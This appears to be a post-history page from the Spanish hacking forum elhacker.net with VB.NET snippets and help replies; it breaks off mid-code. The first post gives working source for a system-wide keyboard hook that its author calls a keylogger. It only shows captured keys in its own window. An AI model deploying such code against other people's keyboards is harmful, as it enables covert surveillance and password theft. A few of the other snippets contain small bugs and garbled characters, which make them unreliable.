elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


  Mostrar Mensajes
Páginas: 1 ... 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 [895] 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 ... 1236
8941  Programación / .NET (C#, VB.NET, ASP) / Re: Librería de Snippets !! (Posteen aquí sus snippets) en: 2 Junio 2013, 15:56 pm
Un low-level hook para capturar el keyboard fuera del form, es decir, un keylogger.

La idea la tuve de un code que vi de Kub0x

Esta es la parte que me he currado yo:

Código
  1. #Region " KeyLogger "
  2.  
  3. Public WithEvents KeysHook As New KeyboardHook
  4.  
  5. Dim Auto_Backspace_Key As Boolean = True
  6. Dim Auto_Enter_Key As Boolean = True
  7. Dim Auto_Tab_Key As Boolean = True
  8. Dim No_F_Keys As Boolean = False
  9.  
  10. Private Sub KeysHook_KeyDown(ByVal Key As Keys) Handles KeysHook.KeyDown
  11.  
  12.     Select Case Control.ModifierKeys
  13.  
  14.         Case 393216 ' Alt-GR + Key
  15.  
  16.             Select Case Key
  17.                 Case Keys.D1 : Key_Listener("|")
  18.                 Case Keys.D2 : Key_Listener("@")
  19.                 Case Keys.D3 : Key_Listener("#")
  20.                 Case Keys.D4 : Key_Listener("~")
  21.                 Case Keys.D5 : Key_Listener("€")
  22.                 Case Keys.D6 : Key_Listener("¬")
  23.                 Case Keys.E : Key_Listener("€")
  24.                 Case Keys.Oem1 : Key_Listener("[")
  25.                 Case Keys.Oem5 : Key_Listener("\")
  26.                 Case Keys.Oem7 : Key_Listener("{")
  27.                 Case Keys.Oemplus : Key_Listener("]")
  28.                 Case Keys.OemQuestion : Key_Listener("}")
  29.                 Case Else : Key_Listener("")
  30.             End Select
  31.  
  32.         Case 65536 ' LShift/RShift + Key
  33.  
  34.             Select Case Key
  35.                 Case Keys.D0 : Key_Listener("=")
  36.                 Case Keys.D1 : Key_Listener("!")
  37.                 Case Keys.D2 : Key_Listener("""")
  38.                 Case Keys.D3 : Key_Listener("·")
  39.                 Case Keys.D4 : Key_Listener("$")
  40.                 Case Keys.D5 : Key_Listener("%")
  41.                 Case Keys.D6 : Key_Listener("&")
  42.                 Case Keys.D7 : Key_Listener("/")
  43.                 Case Keys.D8 : Key_Listener("(")
  44.                 Case Keys.D9 : Key_Listener(")")
  45.                 Case Keys.Oem1 : Key_Listener("^")
  46.                 Case Keys.Oem5 : Key_Listener("ª")
  47.                 Case Keys.Oem6 : Key_Listener("¿")
  48.                 Case Keys.Oem7 : Key_Listener("¨")
  49.                 Case Keys.OemBackslash : Key_Listener(">")
  50.                 Case Keys.Oemcomma : Key_Listener(";")
  51.                 Case Keys.OemMinus : Key_Listener("_")
  52.                 Case Keys.OemOpenBrackets : Key_Listener("?")
  53.                 Case Keys.OemPeriod : Key_Listener(":")
  54.                 Case Keys.Oemplus : Key_Listener("*")
  55.                 Case Keys.OemQuestion : Key_Listener("Ç")
  56.                 Case Keys.Oemtilde : Key_Listener("Ñ")
  57.                 Case Else : Key_Listener("")
  58.             End Select
  59.  
  60.         Case Else
  61.  
  62.             If Key.ToString.Length = 1 Then ' Single alpha key
  63.  
  64.                 If Control.IsKeyLocked(Keys.CapsLock) Or Control.ModifierKeys = Keys.Shift Then
  65.                     Key_Listener(Key.ToString.ToUpper)
  66.                 Else
  67.                     Key_Listener(Key.ToString.ToLower)
  68.                 End If
  69.  
  70.             Else
  71.  
  72.                 Select Case Key ' Single special key 
  73.                     Case Keys.Add : Key_Listener("+")
  74.                     Case Keys.Back : Key_Listener("{BackSpace}")
  75.                     Case Keys.D0 : Key_Listener("0")
  76.                     Case Keys.D1 : Key_Listener("1")
  77.                     Case Keys.D2 : Key_Listener("2")
  78.                     Case Keys.D3 : Key_Listener("3")
  79.                     Case Keys.D4 : Key_Listener("4")
  80.                     Case Keys.D5 : Key_Listener("5")
  81.                     Case Keys.D6 : Key_Listener("6")
  82.                     Case Keys.D7 : Key_Listener("7")
  83.                     Case Keys.D8 : Key_Listener("8")
  84.                     Case Keys.D9 : Key_Listener("9")
  85.                     Case Keys.Decimal : Key_Listener(".")
  86.                     Case Keys.Delete : Key_Listener("{Supr}")
  87.                     Case Keys.Divide : Key_Listener("/")
  88.                     Case Keys.End : Key_Listener("{End}")
  89.                     Case Keys.Enter : Key_Listener("{Enter}")
  90.                     Case Keys.F1 : Key_Listener("{F1}")
  91.                     Case Keys.F10 : Key_Listener("{F10}")
  92.                     Case Keys.F11 : Key_Listener("{F11}")
  93.                     Case Keys.F12 : Key_Listener("{F12}")
  94.                     Case Keys.F2 : Key_Listener("{F2}")
  95.                     Case Keys.F3 : Key_Listener("{F3}")
  96.                     Case Keys.F4 : Key_Listener("{F4}")
  97.                     Case Keys.F5 : Key_Listener("{F5}")
  98.                     Case Keys.F6 : Key_Listener("{F6}")
  99.                     Case Keys.F7 : Key_Listener("{F7}")
  100.                     Case Keys.F8 : Key_Listener("{F8}")
  101.                     Case Keys.F9 : Key_Listener("{F9}")
  102.                     Case Keys.Home : Key_Listener("{Home}")
  103.                     Case Keys.Insert : Key_Listener("{Insert}")
  104.                     Case Keys.Multiply : Key_Listener("*")
  105.                     Case Keys.NumPad0 : Key_Listener("0")
  106.                     Case Keys.NumPad1 : Key_Listener("1")
  107.                     Case Keys.NumPad2 : Key_Listener("2")
  108.                     Case Keys.NumPad3 : Key_Listener("3")
  109.                     Case Keys.NumPad4 : Key_Listener("4")
  110.                     Case Keys.NumPad5 : Key_Listener("5")
  111.                     Case Keys.NumPad6 : Key_Listener("6")
  112.                     Case Keys.NumPad7 : Key_Listener("7")
  113.                     Case Keys.NumPad8 : Key_Listener("8")
  114.                     Case Keys.NumPad9 : Key_Listener("9")
  115.                     Case Keys.Oem1 : Key_Listener("`")
  116.                     Case Keys.Oem5 : Key_Listener("º")
  117.                     Case Keys.Oem6 : Key_Listener("¡")
  118.                     Case Keys.Oem7 : Key_Listener("´")
  119.                     Case Keys.OemBackslash : Key_Listener("<")
  120.                     Case Keys.Oemcomma : Key_Listener(",")
  121.                     Case Keys.OemMinus : Key_Listener(".")
  122.                     Case Keys.OemOpenBrackets : Key_Listener("'")
  123.                     Case Keys.OemPeriod : Key_Listener("-")
  124.                     Case Keys.Oemplus : Key_Listener("+")
  125.                     Case Keys.OemQuestion : Key_Listener("ç")
  126.                     Case Keys.Oemtilde : Key_Listener("ñ")
  127.                     Case Keys.PageDown : Key_Listener("{AvPag}")
  128.                     Case Keys.PageUp : Key_Listener("{RePag}")
  129.                     Case Keys.Space : Key_Listener(" ")
  130.                     Case Keys.Subtract : Key_Listener("-")
  131.                     Case Keys.Tab : Key_Listener("{Tabulation}")
  132.                     Case Else : Key_Listener("")
  133.                 End Select
  134.  
  135.             End If
  136.  
  137.     End Select
  138.  
  139. End Sub
  140.  
  141. Public Sub Key_Listener(ByVal key As String)
  142.  
  143.     If Auto_Backspace_Key AndAlso key = "{BackSpace}" Then ' Delete character
  144.         RichTextBox1.Text = RichTextBox1.Text.Substring(0, RichTextBox1.Text.Length - 1)
  145.     ElseIf Auto_Enter_Key AndAlso key = "{Enter}" Then ' Insert new line
  146.         RichTextBox1.Text += ControlChars.NewLine
  147.     ElseIf Auto_Tab_Key AndAlso key = "{Tabulation}" Then ' Insert Tabulation
  148.         RichTextBox1.Text += ControlChars.Tab
  149.     ElseIf No_F_Keys AndAlso key.StartsWith("{F") Then ' Ommit F Keys
  150.     Else ' Print the character
  151.         RichTextBox1.Text += key
  152.     End If
  153.  
  154. End Sub
  155.  
  156. #End Region

Y esta es la class del Hook:
Código
  1. Imports System.Runtime.InteropServices
  2.  
  3. Public Class KeyboardHook
  4.  
  5.     <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
  6.     Private Overloads Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal HookProc As KBDLLHookProc, ByVal hInstance As IntPtr, ByVal wParam As Integer) As Integer
  7.     End Function
  8.  
  9.     <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
  10.     Private Overloads Shared Function CallNextHookEx(ByVal idHook As Integer, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
  11.     End Function
  12.  
  13.     <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
  14.     Private Overloads Shared Function UnhookWindowsHookEx(ByVal idHook As Integer) As Boolean
  15.     End Function
  16.  
  17.     <StructLayout(LayoutKind.Sequential)> _
  18.     Private Structure KBDLLHOOKSTRUCT
  19.         Public vkCode As UInt32
  20.         Public scanCode As UInt32
  21.         Public flags As KBDLLHOOKSTRUCTFlags
  22.         Public time As UInt32
  23.         Public dwExtraInfo As UIntPtr
  24.     End Structure
  25.  
  26.     <Flags()> _
  27.     Private Enum KBDLLHOOKSTRUCTFlags As UInt32
  28.         LLKHF_EXTENDED = &H1
  29.         LLKHF_INJECTED = &H10
  30.         LLKHF_ALTDOWN = &H20
  31.         LLKHF_UP = &H80
  32.     End Enum
  33.  
  34.     Public Shared Event KeyDown(ByVal Key As Keys)
  35.     Public Shared Event KeyUp(ByVal Key As Keys)
  36.  
  37.     Private Const WH_KEYBOARD_LL As Integer = 13
  38.     Private Const HC_ACTION As Integer = 0
  39.     Private Const WM_KEYDOWN = &H100
  40.     Private Const WM_KEYUP = &H101
  41.     Private Const WM_SYSKEYDOWN = &H104
  42.     Private Const WM_SYSKEYUP = &H105
  43.  
  44.     Private Delegate Function KBDLLHookProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
  45.  
  46.     Private KBDLLHookProcDelegate As KBDLLHookProc = New KBDLLHookProc(AddressOf KeyboardProc)
  47.     Private HHookID As IntPtr = IntPtr.Zero
  48.  
  49.     Private Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
  50.         If (nCode = HC_ACTION) Then
  51.             Dim struct As KBDLLHOOKSTRUCT
  52.             Select Case wParam
  53.                 Case WM_KEYDOWN, WM_SYSKEYDOWN
  54.                     RaiseEvent KeyDown(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys))
  55.                 Case WM_KEYUP, WM_SYSKEYUP
  56.                     RaiseEvent KeyUp(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys))
  57.             End Select
  58.         End If
  59.         Return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam)
  60.     End Function
  61.  
  62.     Public Sub New()
  63.         HHookID = SetWindowsHookEx(WH_KEYBOARD_LL, KBDLLHookProcDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
  64.         If HHookID = IntPtr.Zero Then
  65.             Throw New Exception("Could not set keyboard hook")
  66.         End If
  67.     End Sub
  68.  
  69.     Protected Overrides Sub Finalize()
  70.         If Not HHookID = IntPtr.Zero Then
  71.             UnhookWindowsHookEx(HHookID)
  72.         End If
  73.         MyBase.Finalize()
  74.     End Sub
  75.  
  76. End Class
8942  Programación / .NET (C#, VB.NET, ASP) / Re: Librería de Snippets !! (Posteen aquí sus snippets) en: 2 Junio 2013, 08:21 am
Usar Google Translate sin comprar la API de pago xD

Código
  1. #Region " Google Translate "
  2.  
  3.     ' [ Google Translate Function ]
  4.     '
  5.     ' // By Elektro H@cker
  6.     '
  7.     ' Examples :
  8.     '
  9.     ' MsgBox(Google_Translate("Hello world", GoogleTranslate_Languages.en, GoogleTranslate_Languages.es))   ' Result: Hola mundo
  10.     ' MsgBox(Google_Translate("Hello world", GoogleTranslate_Languages.auto, GoogleTranslate_Languages.fr)) ' Result: Bonjour tout le monde
  11.  
  12.     Public Enum GoogleTranslate_Languages
  13.         auto ' Detectar idioma 
  14.         af ' afrikáans 
  15.         ar ' árabe 
  16.         az ' azerí 
  17.         be ' bielorruso 
  18.         bg ' búlgaro 
  19.         bn ' bengalí; bangla 
  20.         bs ' bosnio 
  21.         ca ' catalán 
  22.         ceb ' cebuano 
  23.         cs ' checo 
  24.         cy ' galés 
  25.         da ' danés 
  26.         de ' alemán 
  27.         el ' griego 
  28.         en ' inglés 
  29.         eo ' esperanto 
  30.         es ' español 
  31.         et ' estonio 
  32.         eu ' euskera 
  33.         fa ' persa 
  34.         fi ' finlandés 
  35.         fr ' francés 
  36.         ga ' irlandés 
  37.         gl ' gallego 
  38.         gu ' gujarati 
  39.         hi ' hindi 
  40.         hmn ' Hmong 
  41.         hr ' croata 
  42.         ht ' criollo haitiano 
  43.         hu ' húngaro 
  44.         hy ' armenio 
  45.         id ' indonesio 
  46.         it ' italiano 
  47.         iw ' hebreo 
  48.         ja ' japonés 
  49.         jw ' javanés 
  50.         ka ' georgiano 
  51.         km ' Jemer 
  52.         kn ' canarés 
  53.         ko ' coreano 
  54.         la ' latín 
  55.         lo ' lao 
  56.         lt ' lituano 
  57.         lv ' letón 
  58.         mk ' macedonio 
  59.         mr ' maratí 
  60.         ms ' malayo 
  61.         mt ' maltés 
  62.         nl ' holandés 
  63.         no ' noruego 
  64.         pl ' polaco 
  65.         pt ' portugués 
  66.         ro ' rumano 
  67.         ru ' ruso 
  68.         sk ' eslovaco 
  69.         sl ' esloveno 
  70.         sq ' albanés 
  71.         sr ' serbio 
  72.         sv ' sueco 
  73.         sw ' suajili 
  74.         ta ' tamil 
  75.         te ' telugu 
  76.         th ' tailandés 
  77.         tl ' tagalo 
  78.         tr ' turco 
  79.         uk ' ucraniano 
  80.         ur ' urdu 
  81.         vi ' vietnamita 
  82.         yi ' yidis 
  83.         zh_CN ' chino 
  84.     End Enum
  85.  
  86.     Public Function Google_Translate(ByVal Input As String, _
  87.                                      ByVal From_Language As GoogleTranslate_Languages, _
  88.                                      ByVal To_Language As GoogleTranslate_Languages) As String
  89.  
  90.         Dim Formatted_From_Language As String = From_Language.ToString.Replace("_", "-") ' zh_CN > zh-CN
  91.         Dim Formatted_To_Language As String = To_Language.ToString.Replace("_", "-") ' zh_CN > zh-CN
  92.  
  93.         Dim webClient As New System.Net.WebClient
  94.  
  95.         Dim str = webClient.DownloadString( _
  96.         "http://translate.google.com/translate_a/t?client=t&text=" & Input & _
  97.         "&sl=" & Formatted_From_Language & _
  98.         "&tl=" & Formatted_To_Language & "")
  99.  
  100.         Return (str.Substring(4, str.Length - 4).Split(ControlChars.Quote).First)
  101.  
  102.     End Function
  103.  
  104. #End Region

Extra:
-> [BATCH] GTC (Google Translate Console)
8943  Programación / .NET (C#, VB.NET, ASP) / Re: Librería de Snippets !! (Posteen aquí sus snippets) en: 2 Junio 2013, 08:19 am
Un simple método Get:

Código
  1. #Region " Get Method "
  2.  
  3.     ' [ Get Method Function ]
  4.     '
  5.     ' Examples :
  6.     ' MsgBox(Get_Method("http://translate.google.com/translate_a/t?client=t&text=HelloWorld&sl=en&tl=en")) ' Result: [[["HelloWorld","HelloWorld","",""]],,"en",,,,,,[["en"]],0]
  7.  
  8.     Public Function Get_Method(ByVal URL As String) As String
  9.         Dim webClient As New System.Net.WebClient
  10.         Return webClient.DownloadString(URL)
  11.     End Function
  12.  
  13. #End Region



Convierte un string a entidades html:

Código
  1. #Region " String To Html Entities "
  2.  
  3.     ' [ String To Html Escaped Function ]
  4.     '
  5.     ' // By Elektro H@cker
  6.     '
  7.     ' Examples :
  8.     ' MsgBox(String_To_Html_Entities("www.Goo&gle.com")) ' Result: www.Goo&amp;gle.com
  9.  
  10.     Private Function String_To_Html_Entities(ByVal str As String) As String
  11.  
  12.         str = str.Replace("&", "&amp;") ' Keep this character to be always the first replaced.
  13.         str = str.Replace(ControlChars.Quote, "&quot;")
  14.         str = str.Replace(" ", "&nbsp;")
  15.         str = str.Replace("<", "&lt;")
  16.         str = str.Replace(">", "&gt;")
  17.         str = str.Replace("¡", "&iexcl;")
  18.         str = str.Replace("¢", "&cent;")
  19.         str = str.Replace("£", "&pound;")
  20.         str = str.Replace("¤", "&curren;")
  21.         str = str.Replace("¥", "&yen;")
  22.         str = str.Replace("¦", "&brvbar;")
  23.         str = str.Replace("§", "&sect;")
  24.         str = str.Replace("¨", "&uml;")
  25.         str = str.Replace("©", "&copy;")
  26.         str = str.Replace("ª", "&ordf;")
  27.         str = str.Replace("¬", "&not;")
  28.         str = str.Replace("®", "&reg;")
  29.         str = str.Replace("¯", "&macr;")
  30.         str = str.Replace("°", "&deg;")
  31.         str = str.Replace("±", "&plusmn;")
  32.         str = str.Replace("²", "&sup2;")
  33.         str = str.Replace("³", "&sup3;")
  34.         str = str.Replace("´", "&acute;")
  35.         str = str.Replace("µ", "&micro;")
  36.         str = str.Replace("¶", "&para;")
  37.         str = str.Replace("·", "&middot;")
  38.         str = str.Replace("¸", "&cedil;")
  39.         str = str.Replace("¹", "&sup1;")
  40.         str = str.Replace("º", "&ordm;")
  41.         str = str.Replace("»", "&raquo;")
  42.         str = str.Replace("¼", "&frac14;")
  43.         str = str.Replace("½", "&frac12;")
  44.         str = str.Replace("¾", "&frac34;")
  45.         str = str.Replace("¿", "&iquest;")
  46.         str = str.Replace("×", "&times;")
  47.         str = str.Replace("ß", "&szlig;")
  48.         str = str.Replace("À", "&Agrave;")
  49.         str = str.Replace("à", "&agrave;")
  50.         str = str.Replace("Á", "&Aacute;")
  51.         str = str.Replace("á", "&aacute;")
  52.         str = str.Replace("", "&Acirc;")
  53.         str = str.Replace("â", "&acirc;")
  54.         str = str.Replace("Ã", "&Atilde;")
  55.         str = str.Replace("ã", "&atilde;")
  56.         str = str.Replace("Ä", "&Auml;")
  57.         str = str.Replace("ä", "&auml;")
  58.         str = str.Replace("Å", "&Aring;")
  59.         str = str.Replace("å", "&aring;")
  60.         str = str.Replace("Æ", "&AElig;")
  61.         str = str.Replace("æ", "&aelig;")
  62.         str = str.Replace("ç", "&ccedil;")
  63.         str = str.Replace("Ç", "&Ccedil;")
  64.         str = str.Replace("È", "&Egrave;")
  65.         str = str.Replace("è", "&egrave;")
  66.         str = str.Replace("É", "&Eacute;")
  67.         str = str.Replace("é", "&eacute;")
  68.         str = str.Replace("Ê", "&Ecirc;")
  69.         str = str.Replace("ê", "&ecirc;")
  70.         str = str.Replace("Ë", "&Euml;")
  71.         str = str.Replace("ë", "&euml;")
  72.         str = str.Replace("Ì", "&Igrave;")
  73.         str = str.Replace("ì", "&igrave;")
  74.         str = str.Replace("Í", "&Iacute;")
  75.         str = str.Replace("í", "&iacute;")
  76.         str = str.Replace("Î", "&Icirc;")
  77.         str = str.Replace("î", "&icirc;")
  78.         str = str.Replace("Ï", "&Iuml;")
  79.         str = str.Replace("ï", "&iuml;")
  80.         str = str.Replace("Ð", "&ETH;")
  81.         str = str.Replace("ð", "&eth;")
  82.         str = str.Replace("ñ", "&ntilde;")
  83.         str = str.Replace("Ñ", "&Ntilde;")
  84.         str = str.Replace("Ò", "&Ograve;")
  85.         str = str.Replace("ò", "&ograve;")
  86.         str = str.Replace("Ó", "&Oacute;")
  87.         str = str.Replace("ó", "&oacute;")
  88.         str = str.Replace("Ô", "&Ocirc;")
  89.         str = str.Replace("ô", "&ocirc;")
  90.         str = str.Replace("Õ", "&Otilde;")
  91.         str = str.Replace("õ", "&otilde;")
  92.         str = str.Replace("Ö", "&Ouml;")
  93.         str = str.Replace("ö", "&ouml;")
  94.         str = str.Replace("÷", "&divide;")
  95.         str = str.Replace("Ø", "&Oslash;")
  96.         str = str.Replace("ø", "&oslash;")
  97.         str = str.Replace("Ù", "&Ugrave;")
  98.         str = str.Replace("ù", "&ugrave;")
  99.         str = str.Replace("Ú", "&Uacute;")
  100.         str = str.Replace("ú", "&uacute;")
  101.         str = str.Replace("Û", "&Ucirc;")
  102.         str = str.Replace("û", "&ucirc;")
  103.         str = str.Replace("Ü", "&Uuml;")
  104.         str = str.Replace("ü", "&uuml;")
  105.         str = str.Replace("Ý", "&Yacute;")
  106.         str = str.Replace("ý", "&yacute;")
  107.         str = str.Replace("Þ", "&THORN;")
  108.         str = str.Replace("þ", "&thorn;")
  109.         str = str.Replace("€", "&euro;")
  110.  
  111.         Return str
  112.  
  113.     End Function
  114.  
  115. #End Region




Convierte un string a entidades html codificadas:

Código
  1. #Region " String To Html Escaped Entities "
  2.  
  3.     ' [ String To Html Escaped Entities Function ]
  4.     '
  5.     ' // By Elektro H@cker
  6.     '
  7.     ' Examples :
  8.     ' MsgBox(String_To_Html_Escaped_Entities("Me@Gmail.com")) ' Result: &#38;#77;&#38;#101;&#38;#64;&#38;#71;&#38;#109;&#38;#97;&#38;#105;&#38;#108;&#38;#46;&#38;#99;&#38;#111;&#38;#109;
  9.  
  10.     Public Function String_To_Html_Escaped_Entities(str As String) As String
  11.         Dim sb As New System.Text.StringBuilder(str.Length * 6)
  12.         For Each c As Char In str : sb.Append("&#38;#").Append(CType(AscW(c), UShort)).Append(";"c) : Next
  13.         Return sb.ToString()
  14.     End Function
  15.  
  16. #End Region



Decodifica un string que contenga entidades HTML

Código
  1. #Region " Html Entities To String "
  2.  
  3.     ' [ Html Entities To String Function ]
  4.     '
  5.     ' // By Elektro H@cker
  6.     '
  7.     ' Examples :
  8.     ' MsgBox(Html_Entities_To_String("www.Goo&amp;gle.com")) ' Result: Goo&gle.com
  9.  
  10.     Private Function Html_Entities_To_String(ByVal str As String) As String
  11.  
  12.         str = str.Replace("&quot;", ControlChars.Quote)
  13.         str = str.Replace("&amp;", "&")
  14.         str = str.Replace("&nbsp;", "")
  15.         str = str.Replace("&lt;", "<")
  16.         str = str.Replace("&gt;", ">")
  17.         str = str.Replace("&iexcl;", "¡")
  18.         str = str.Replace("&cent;", "¢")
  19.         str = str.Replace("&pound;", "£")
  20.         str = str.Replace("&curren;", "¤")
  21.         str = str.Replace("&yen;", "¥")
  22.         str = str.Replace("&brvbar;", "¦")
  23.         str = str.Replace("&sect;", "§")
  24.         str = str.Replace("&uml;", "¨")
  25.         str = str.Replace("&copy;", "©")
  26.         str = str.Replace("&ordf;", "ª")
  27.         str = str.Replace("&not;", "¬")
  28.         str = str.Replace("&reg;", "®")
  29.         str = str.Replace("&macr;", "¯")
  30.         str = str.Replace("&deg;", "°")
  31.         str = str.Replace("&plusmn;", "±")
  32.         str = str.Replace("&sup2;", "²")
  33.         str = str.Replace("&sup3;", "³")
  34.         str = str.Replace("&acute;", "´")
  35.         str = str.Replace("&micro;", "µ")
  36.         str = str.Replace("&para;", "¶")
  37.         str = str.Replace("&middot;", "·")
  38.         str = str.Replace("&cedil;", "¸")
  39.         str = str.Replace("&sup1;", "¹")
  40.         str = str.Replace("&ordm;", "º")
  41.         str = str.Replace("&raquo;", "»")
  42.         str = str.Replace("&frac14;", "¼")
  43.         str = str.Replace("&frac12;", "½")
  44.         str = str.Replace("&frac34;", "¾")
  45.         str = str.Replace("&iquest;", "¿")
  46.         str = str.Replace("&times;", "×")
  47.         str = str.Replace("&szlig;", "ß")
  48.         str = str.Replace("&Agrave;", "À")
  49.         str = str.Replace("&agrave;", "à")
  50.         str = str.Replace("&Aacute;", "Á")
  51.         str = str.Replace("&aacute;", "á")
  52.         str = str.Replace("&Acirc;", "")
  53.         str = str.Replace("&acirc;", "â")
  54.         str = str.Replace("&Atilde;", "Ã")
  55.         str = str.Replace("&atilde;", "ã")
  56.         str = str.Replace("&Auml;", "Ä")
  57.         str = str.Replace("&auml;", "ä")
  58.         str = str.Replace("&Aring;", "Å")
  59.         str = str.Replace("&aring;", "å")
  60.         str = str.Replace("&AElig;", "Æ")
  61.         str = str.Replace("&aelig;", "æ")
  62.         str = str.Replace("&ccedil;", "ç")
  63.         str = str.Replace("&Ccedil;", "Ç")
  64.         str = str.Replace("&Egrave;", "È")
  65.         str = str.Replace("&egrave;", "è")
  66.         str = str.Replace("&Eacute;", "É")
  67.         str = str.Replace("&eacute;", "é")
  68.         str = str.Replace("&Ecirc;", "Ê")
  69.         str = str.Replace("&ecirc;", "ê")
  70.         str = str.Replace("&Euml;", "Ë")
  71.         str = str.Replace("&euml;", "ë")
  72.         str = str.Replace("&Igrave;", "Ì")
  73.         str = str.Replace("&igrave;", "ì")
  74.         str = str.Replace("&Iacute;", "Í")
  75.         str = str.Replace("&iacute;", "í")
  76.         str = str.Replace("&Icirc;", "Î")
  77.         str = str.Replace("&icirc;", "î")
  78.         str = str.Replace("&Iuml;", "Ï")
  79.         str = str.Replace("&iuml;", "ï")
  80.         str = str.Replace("&ETH;", "Ð")
  81.         str = str.Replace("&eth;", "ð")
  82.         str = str.Replace("&ntilde;", "ñ")
  83.         str = str.Replace("&Ntilde;", "Ñ")
  84.         str = str.Replace("&Ograve;", "Ò")
  85.         str = str.Replace("&ograve;", "ò")
  86.         str = str.Replace("&Oacute;", "Ó")
  87.         str = str.Replace("&oacute;", "ó")
  88.         str = str.Replace("&Ocirc;", "Ô")
  89.         str = str.Replace("&ocirc;", "ô")
  90.         str = str.Replace("&Otilde;", "Õ")
  91.         str = str.Replace("&otilde;", "õ")
  92.         str = str.Replace("&Ouml;", "Ö")
  93.         str = str.Replace("&ouml;", "ö")
  94.         str = str.Replace("&divide;", "÷")
  95.         str = str.Replace("&Oslash;", "Ø")
  96.         str = str.Replace("&oslash;", "ø")
  97.         str = str.Replace("&Ugrave;", "Ù")
  98.         str = str.Replace("&ugrave;", "ù")
  99.         str = str.Replace("&Uacute;", "Ú")
  100.         str = str.Replace("&uacute;", "ú")
  101.         str = str.Replace("&Ucirc;", "Û")
  102.         str = str.Replace("&ucirc;", "û")
  103.         str = str.Replace("&Uuml;", "Ü")
  104.         str = str.Replace("&uuml;", "ü")
  105.         str = str.Replace("&Yacute;", "Ý")
  106.         str = str.Replace("&yacute;", "ý")
  107.         str = str.Replace("&THORN;", "Þ")
  108.         str = str.Replace("&thorn;", "þ")
  109.         str = str.Replace("&euro;", "€")
  110.  
  111.         Return str
  112.  
  113.     End Function
  114.  
  115. #End Region




Decodifica un string codificado en HTML Escaped Entities

Código
  1. #Region " Html Escaped Entities To String "
  2.  
  3.     ' [ Html Escaped Entities To String Function ]
  4.     '
  5.     ' // By Elektro H@cker
  6.     '
  7.     ' Examples :
  8.     ' MsgBox(Html_Escaped_Entities_To_String("&#38;#77;&#38;#101;&#38;#64;&#38;#71;&#38;#109;&#38;#97;&#38;#105;&#38;#108;&#38;#46;&#38;#99;&#38;#111;&#38;#109;")) ' Result: Me@Gmail.com
  9.  
  10.    Public Function Html_Escaped_Entities_To_String(str As String) As String
  11.         Dim sb As New System.Text.StringBuilder(str.Length)
  12.         str = str.Replace("&#38;#", "")
  13.         Try : For Each entity In str.Split(";") : sb.Append(Chr(entity)) : Next : Catch : End Try
  14.         Return sb.ToString()
  15.     End Function
  16.  
  17. #End Region



Comprueba si un numero es multiplo de otro

Código
  1.     #Region " Number Is Multiple? "
  2.  
  3.        ' [ Number Is Multiple? Function ]
  4.        '
  5.        ' // By Elektro H@cker
  6.        '
  7.        ' Examples :
  8.        ' MsgBox(Number_Is_Multiple(30, 3)) ' Result: True
  9.        ' MsgBox(Number_Is_Multiple(50, 3)) ' Result: False
  10.  
  11.     Function Number_Is_Multiple(ByVal Number As Int64, ByVal Multiple As Int64) As Boolean
  12.         Return (Number Mod Multiple = 0)
  13.     End Function
  14.  
  15.     #End Region


Comprueba si un numero es divisible por otro

Código
  1.     #Region " Number Is Divisible? "
  2.  
  3.        ' [ Number Is Divisible? Function ]
  4.        '
  5.        ' // By Elektro H@cker
  6.        '
  7.        ' Examples :
  8.        ' MsgBox(Number_Is_Divisible(30, 3)) ' Result: True
  9.        ' MsgBox(Number_Is_Divisible(50, 3)) ' Result: False
  10.  
  11.     Function Number_Is_Divisible(ByVal Number As Int64, ByVal Divisible As Int64) As Boolean
  12.         Return (Number Mod Divisible = 0)
  13.     End Function
  14.  
  15.  
  16.     #End Region
8944  Programación / .NET (C#, VB.NET, ASP) / Re: ayuda para hacer un traductor de palabras en visual basic.net en: 2 Junio 2013, 03:42 am
offline u online?

...GoogleTranslate es sencillo.

Saludos!
8945  Programación / .NET (C#, VB.NET, ASP) / Re: Cambiar valores a los controles desde un Listbox en: 1 Junio 2013, 21:51 pm
1. Crea una variable numérica de tipo Long que contiendrá ms (por poner un ejemplo)
Código:
Dim ms as int64 = 0

2. En el select case del ejemplo aumentas o disminuyes el valor de la variable como quieras, cada "case" es para cada uno de los items.
Código:
Case 0 : ms +=5
Case 1 : ms +=10
Case 2 : ms +=15
Esa es la parte donde más cuidado has de tener.

3. Por último modificas el intervalo del timer por los ms que contiene la variable que contiene la variable que hemos creado.
Código:
 timer1.interval = ms

slaudos!
8946  Programación / .NET (C#, VB.NET, ASP) / Re: Cambiar valores a los controles desde un Listbox en: 1 Junio 2013, 21:42 pm
Pues yo no lo entiendo, porque lo que defines como propiedades no son propiedades, la pregunta es bastante confusa,
de todas formas te hice un ejemplo:

Básicamente debes comprobar el índice del item que está seleccionado en el listbox, hay un evento que maneja eso, y ahí ya haces lo que desees...

Código
  1. Public Class Form1
  2.  
  3.     Dim Items() As String = {"Time 1", "Time 2", "Time 3"}
  4.     Dim WithEvents ListaTime1 As New ListBox, ListaTime2 As New ListBox
  5.  
  6.     Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  7.         For Each item In Items : ListaTime1.Items.Add(item) : ListaTime2.Items.Add(item) : Next
  8.         Me.Controls.Add(ListaTime1) : Me.Controls.Add(ListaTime2)
  9.         ListaTime1.Dock = DockStyle.Left : ListaTime2.Dock = DockStyle.Right
  10.         Me.Size = New Point(280, 100)
